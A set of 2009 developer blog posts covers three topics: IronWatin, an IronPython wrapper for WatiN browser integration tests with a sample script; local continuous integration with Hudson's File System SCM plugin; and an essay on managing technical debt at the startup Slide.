Out of an hour or so of "extreme programming" which mostly entailed Adam watching as I wrote IronPython in his Windows VM, IronWatin was born. IronWatin itself is a very simple test runner that hooks into Python's "unittest" for creating integration tests with WatiN in a familiar environment.

I intended IronWatin to be as easy as possible for "native Python" developers, by abstracting out updates to sys.path to include the Python standard lib (adds the standard locations for Python 2.5/2.6 on Windows) as well as adding WatiN.Core.dll via clr.AddReference() so developers can simply import IronWatin; import WatiN.Core and they're ready to start writing integration tests. When using IronWatin, you create test classes that subclass from IronWatin.BrowserTest which takes care of setting up a browser (WatiN.Core.IE/WatiN.Core.FireFox) instance to a specified URL, this leaves your runTest() method to actually execute the core of your test case.

Another "feature"/design choice with IronWatin, was to implement a main() method specifically for running the tests on a per-file basis (similar to unittest.main()). This main method allows for passing in an optparse.OptionParser instance to add arguments to the script such as "--server" which are passed into your test classes themselves and exposed as "self.server" (for example). Which leaves you with a fairly straight-forward framework with which to start writing tests for the browser itself:

#!/usr/bin/env ipy
 
# The import of IronWatin will add a reference to WatiN.Core.dll
# and update `sys.path` to include C:\Python25\Lib and C:\Python26\Lib
# so you can import from the Python standard library
import IronWatin
 
import WatiN.Core as Watin
import optparse
 
class OptionTest(IronWatin.BrowserTest):
    url = 'http://www.github.com'
 
    def runTest(self):
        # Run some Watin commands
        assert self.testval
 
if __name__ == '__main__':
    opts = optparse.OptionParser()
    opts.add_option('--testval', dest='testval', help='Specify a value')
    IronWatin.main(options=opts)

Thanks to IronPython, we can make use of our developers' and QA engineers' Python knowledge to get the up and running with writing integration tests using WatiN rapidly instead of trying to overcome the hump of teaching/training with a new language.

Deployment Notes: We're using IronPython 2.6rc1 and building WatiN from trunk in order to take advantage of some recent advances in their Firefox/frame support. We've not tested IronWatin, or WatiN at all for that matter, anywhere other than Windows XP.

Doing more with less; very continuous integration

R. Tyler Croy — Wed, 02 Sep 2009 08:42:02 +0000

Once upon a time I was lucky enough to take an "Intro to C++" class taught by none other than Bjarne Stroustrop himself, while I learned a lot of things about what makes C++ good and sucky at the same time, he also taught a very important lesson: great engineers are lazy. It's fairly easy to enumerate functionality in tens of hundreds of lines of poorly organized, inefficient code, but (according to Bjarne) it's the great engineers that are capable of distilling that functionality into it's most succinct form. I've since taken this notion of being "ultimately lazy" into my professional career, making it the root answer for a lot of my design decisions and choices: "Why bother writing unit tests?" I'm too lazy to fire up the whole application and click mouse buttons, and I can only do that so fast; "Why do you only work with Vim in GNU/screen?" I can't be bothered to set up a new slew of terminals when I switch machines, and so on down the line.

Earlier this week I found another bit of manual work that I shouldn't be doing and should be lazy about: building. The local build is something that's common to every single software developer regardless of language, Slide being a Python shop, we have a bit more subtle of a "build", that is to say, developers implicitly run a "build" when they hit a page in Apache or a test/script. I found myself constantly switching between two terminal windows, one with my editor (Vim) and one for running tests and other scripts.

Being an avid Hudson user, I decided I'd give the File system SCM a try. Very quickly I was able to set up Hudson to poll my working directory and watch for files to change every minute, and then run a "build" with some tests to go with it. Now I can simply sit in Vim all day and write code, only context-switching to commit changes.

Setting up Hudson for local continuous integration is quite simple, by visiting hudson-ci.org you can download hudson.war which is a fully self contained runnable version of Hudson, you can start it up locally with java -jar hudson.war. Once it's started, visit http://localhost:8080 and you've find yourself smack-dab in the middle of a fresh installation of Hudson.

First things first, you'll need the File System SCM plugin from the Hudson Update Center (left side bar, "Manage Hudson" > "Manage Plugins" > "Available" tab)

After installing the plugin, you'll need to restart Hudson, then you can create your job, configuring the File System SCM to poll your working directory:

Of course, add the necessary build steps to build/test your software as well, and you should be set for some good local continuous integration. Once the job is saved, the job will poll your working directory for files to be modified and then copy things over to the job's workspace for execution.

After the job is building, you can hook up the RSS feed (http://localhost:8080/rssLatest) to Growl or some other form of desktop notifier so you don't even have to move your eyes to know whether your local build succeeded or not (I use the "hudsonnotify" script for Linux/libnotify below).

By automating this part of my local workflow with Hudson I can take advantage of a few things:

I no longer need to context switch to run my tests
I can make use of Hudson's nice UI for visually inspecting test results as they change over time
I have near-instant feedback on the validity of the changes I'm making

The only real downside I can think of is no longer having any excuse for checking in code that "breaks the build", but in the end that's probably a good thing.

Instead of relying on commits, you can get near-instant feedback on your changes before you even get things going far enough to check them in, tightening the feedback loop on your changes even further, very-very continuous integration. Your mileage may vary of course, but I recommend giving it a try.

hudsonnotify.py

Investment Strategy for Developers

R. Tyler Croy — Tue, 11 Aug 2009 06:34:19 +0000

It seems every time @jasonrubenstein, @ggoss3, @cablelounger and I sit down to have lunch together, we invariably sway back and forth between generic venting about "work stuff" and best practices for doing aforementioned "work stuff" better. The topic of "reusable code" came up over Mac 'n Cheese and beers this afternoon, and I felt it warranted "wider distribution" so to speak (yet-another-lame-Slide-inside-joke).

We, Slide, are approaching our fourth year in existence as a startup which means all sorts of interesting things from an investor standpoint, employees options are starting to become fully-vested and other mundane and boring financial terms. Being an engineer, I don't care too much about the stocks and such, but rather about development; four years is a lot from a code-investment standpoint (my bias towards code instead of financial planning will surely bite me eventually). Projects can experience bitrot, bloating (read: Vista'ing) and a myriad other illnesses endemic to software that's starting to grow long in the tooth.

At Slide, we have a number of projects on slightly different trajectories and timelines, meaning we have an intriguing cross-section of development histories representing themselves. We are no doubt experiencing a similar phenomenon to Facebook, MySpace, Yelp and a number of other "startups" who match this same age group of 4-7 years. Just like our bretheren in the startup community, we have portions of code that fit all the major possible categories:

That which was written extremely fast, without an afterthought to what would happen when it serve tens of millions of users
That which was written slowly, trying to cater to every possible variation, ultimately to go over-budget and over-schedule.
That which has been rewritten. And rewritten. And rewritten.
Then the exceptionally rare, that which has been written in such a fashion that it has been elegantly extended to support more than it was originally conceived to support.

In all four cases, "we" (whereas "we" refers to an engineering department) have invested differently in our code portfolio depending on a number of factors and information given at the time. For example, it's been a year since Component X was written. Component X is currently used by every single product The Company owns, but over the past year it's been refactored and partially rewritten each time a new product starts to "use" Component X. In its current state, Component X's code reads more like an embarrasing submission to The Daily WTF with its hodge-podge of code, passed from team to team, developer to developer, like some expensive game of "Telephone" for software engineers. After the fact, it's difficult and not altogether helpful to try to lay blame with the mighty sword of hindsight, but it is feasible to identify the reasons for the N number of developer hours lost fiddling, extending, and refactoring Component X.

Was the developer responsible for implementing Component X originally aware of the potentially far reaching scope of their work?
Was the developer given an adequate time frame to implement a proper solution, or "this should have shipped yesterday!"
Did somebody pass the project off to an intern or somebody who was on their way out the door?
Were other developers in similar realms of responsibility asked questions or for their opinions?
Is/was the culture proliferated by Engineering Leads and Managers encouraging of best practices that lead to extensible code?

I've found, watching Slide Engineering culture evolve, that the majority of libraries or components that go through multiple time/resource-expensive iterations tend to have experienced shortcomings in one of the five sections above. More often than not, a developer was given the task to implement Some Thing. Simple enough, Some Thing is developed with the specific use-case in mind, and the developer moves on with their life. Three months later however, somebody else asks another developer, to add Some Thing to another product.

"Product X has Some Thing, and it works great for them, let's incorporate Some Thing into Product Y by the end of the week."

Invariably this leads to heavy developer drinking. And then perhaps some copy-paste, with a dash of re-jiggering, and quite possibly multiple forks of the same code. That is, if Some Thing was not properly planned and designed in the first place.

Working as a developer on products that move at a fast pace, but will be around for longer than three months is an exercise in investment strategy (i.e. managing technical debt). What makes great Engineering Managers great is their ability to determine when and where to invest the time to do things right, and where to write some Perl-style write-only code (zing!). What makes a startup environment a more difficult one to work on your "code portfolio" is that you don't usually know what may or may not be a success, and in a lot of cases getting your product out there now is of paramount importance. Unfortunately there isn't any simple guideline or silver bullet, and there is no bailout, if you invest your time poorly up front, there will be nobody to save you further down the line when you're staring an resource-devouring refactor in its ugly face.

Where do you invest the time in any given project? What will happen if you shave a few days by deciding not to write any tests, or documentation. Will it cost you a week further down the road if you take shortcuts now?

I wish I knew.